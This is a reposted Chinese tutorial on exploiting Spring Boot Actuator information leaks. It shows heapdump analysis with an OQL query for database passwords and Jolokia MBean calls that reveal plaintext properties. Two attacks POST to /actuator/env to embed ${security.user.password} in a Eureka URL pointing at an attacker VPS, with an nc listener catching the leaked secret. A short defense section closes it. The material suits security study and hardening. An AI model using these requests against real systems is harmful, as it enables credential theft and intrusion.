| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> Java知识库 -> Springboot之Actuator信息泄露漏洞利用 -> 正文阅读 |
|
[Java知识库]Springboot之Actuator信息泄露漏洞利用 |
0x01 什么是ActuatorSpring Boot Actuator 模块提供了健康检查,审计,指标收集,HTTP 跟踪等,是帮助我们监控和管理Spring Boot 应用的模块。这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及Web请求的详细信息等。 如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。 SpringBoot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的SpringBoot版本为2.x,这篇文章只讲SpringBoo 2.x Actuator模块带来的信息泄露。 0x02 Actuator 使用如果要使用 SpringBoot Actuator 提供的监控功能,需要先加入相关的 maven dependency: 1<dependency> 2 <groupId>org.springframework.boot</groupId> 3 <artifactId>spring-boot-starter-actuator</artifactId> 4 <version>2.7.0</version> 5</dependency> 只要加上了这个actuator依赖,SpringBoot 在运行时会自动开启/actuator/health和/actuator/info这两个 endpoint。 为了更方便漏洞利用,当前环境在一个CMS中加入了该依赖,因为自己新建的Springboot项目没有配置数据库之类的信息。 0x03 Endpoints 介绍Spring Boot 提供了所谓的 endpoints (下文翻译为端点)给外部来与应用程序进行访问和交互。 打比方来说,/health 端点 提供了关于应用健康情况的一些基础信息。metrics 端点提供了一些有用的应用程序指标(JVM 内存使用、系统CPU使用等)。 这些 Actuator 模块本来就有的端点我们称之为原生端点。根据端点的作用的话,我们大概可以分为三大类:
需要注意的就是: 每一个端点都可以通过配置来单独禁用或者启动 不同于Actuator 1.x,Actuator 2.x 的大多数端点默认被禁掉。Actuator 2.x 中的默认端点增加了/actuator前缀。默认暴露的两个端点为/actuator/health和 /actuator/info 原生端点如下:
0x04 漏洞利用前面介绍过了Actuator一些基础后,现在来研究一下如果目标站点存在这个漏洞该如何利用。 首先访问一下/actuator/env: image01 该端点可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,获取明文密码办法有以下四种: 4.1 方法一 利用条件:
利用方法: 首先访问/actuator/heapdump 接口,下载应用实时的 JVM 堆信息。 然后通过JDK自带的JVisualVM工具对JVM堆的dump文件进行分析: 该工具路径为 JDK/bin/jvisualvm.exe image02 工具打开默认是这样的,接下来点击文件->装入: image03 选择我们刚才下载的dump文件。 image04 可以看到系统的一些配置信息。 接下来打开OQL控制台,输入OQL语句来过滤我们需要的信息。 OQL 是一种类似 SQL 的查询语言,用于查询 Java 堆。OQL 允许从 Java 堆中过滤/选择所需的信息。虽然 HAT 已经支持诸如“显示 X 类的所有实例”之类的预定义查询,但 OQL 增加了更多的灵活性。OQL 基于 JavaScript 表达式语言,详细请参考Object Query Language (OQL) env中信息存储在heapdump中的? 如果我们要查询数据库密码则在OQL控制台执行如下OQL语句: select s from java.util.LinkedHashMap$Entry s where /spring.datasource.password/.test(s.key) image05 可以看到有三个查询结果,挨个点开看看: image06 可以看到数据库密码为root。 注意OQL查询语句中的? 4.2 方法二 利用条件:
默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖: 1<dependency> 2 <groupId>org.jolokia</groupId> 3 <artifactId>jolokia-core</artifactId> 4 <version>1.7.0</version> 5</dependency> 利用方法 首先访问/actuator/env接口,获取想要获得明文的属性名,然后通过 jolokia 调用相关 Mbean 获取明文。 然后访问 h?ttp://ip:port/actuator/jolokia/list? 看一下目标环境中存在的MBean: image07 接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了: 1POST /actuator/jolokia 2Content-Type: application/json 3 4{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 如果是1.x版本请求路径则为/jolokia 当前环境测试如下: image08 4.3 方法三 利用条件:
这里需要注意的是,添加了spring-cloud-starter-netflix-eureka-client依赖后,启动项目可能会报一个如下错误: image09 通过搜索最终找到了这个帖子 报错内容和帖子很相近,最终在移除了当前项目中的servlet依赖后报错消失。 image10 还有一个问题就是如果使用的 spring boot 版本大于 2.2.4,则必须使用下面的属性手动启用POST API 调用: management.endpoint.env.post.enabled=true 否则不能通过POST访问env端点。 利用方法:
nc -lvk 80
1POST /actuator/env 2Content-Type: application/json 3 4{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
1POST /actuator/refresh 2Content-Type: application/json
1GET /apps/ HTTP/1.1 2Accept: application/json, application/*+json 3Authorization: Basic dmFsdWU6cm9vdA== 4Host: ****** 5Connection: Keep-Alive 6User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191) 7Accept-Encoding: gzip,deflate 将Authorization字段进行base64解密后,得到的值就是value:password 4.4 方法四 利用条件:
利用方法: 在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据。
nc -lvk 80
1POST /actuator/env 2Content-Type: application/json 3 4{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
1POST /actuator/refresh 2Content-Type: application/json
接下来VPS就会收到请求: 1Ncat: Connection from ****** 2GET /SecretKe/apps/ HTTP/1.1 3Accept: application/json, application/*+json 4Host: ****** 5Connection: Keep-Alive 6User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191) 7Accept-Encoding: gzip,deflate apps前面的路径就是我们需要的数据。 0x05 如何防御5.1 方法一 针对第一种方法,我们可以直接禁用heapdump端点,可以在配置文件中加入如下配置: management.endpoint.heapdump.enabled=false 然后重新运行项目,访问/actuator/heapdump: image11 可以看到无法下载dump文件,自然也就无法获取明文密码了。 5.2 方法二 针对第二种方法,可以有两种选择,一是直接移除jolokia依赖,二是禁用jolokia端点,这里直接移除如下依赖: 1<dependency> 2 <groupId>org.jolokia</groupId> 3 <artifactId>jolokia-core</artifactId> 4 <version>1.7.0</version> 5</dependency> 删除选中部分,重新加载maven项目后运行项目,然后访问/actuator/jolokia端点: image12 可以看到端点已无法访问。 5.3 方法三 删除? 依赖或者禁止POST请求访问env端点。 5.4 方法四 和方法三一样,删除? 0x06 参考[1] https://blog.csdn.net/weixin_42628854/article/details/124592923 [2] https://blog.csdn.net/weixin_40482816/article/details/108539137 [3] https://www.cnblogs.com/caoweixiong/p/15325382.html [4]https://github.com/LandGrey/SpringBootVulExploit#spring-boot-vulnerability-exploit-check-list [5] http://cr.openjdk.java.net/~sundar/8022483/webrev.01/raw_files/new/src/share/classes/com/sun/tools/hat/resources/oqlhelp.html [6] https://stackoverflow.com/questions/34950164/getting-nosuchmethoderrorjavax-servlet-servletcontext-getvirtualservername |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/23 13:12:05- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |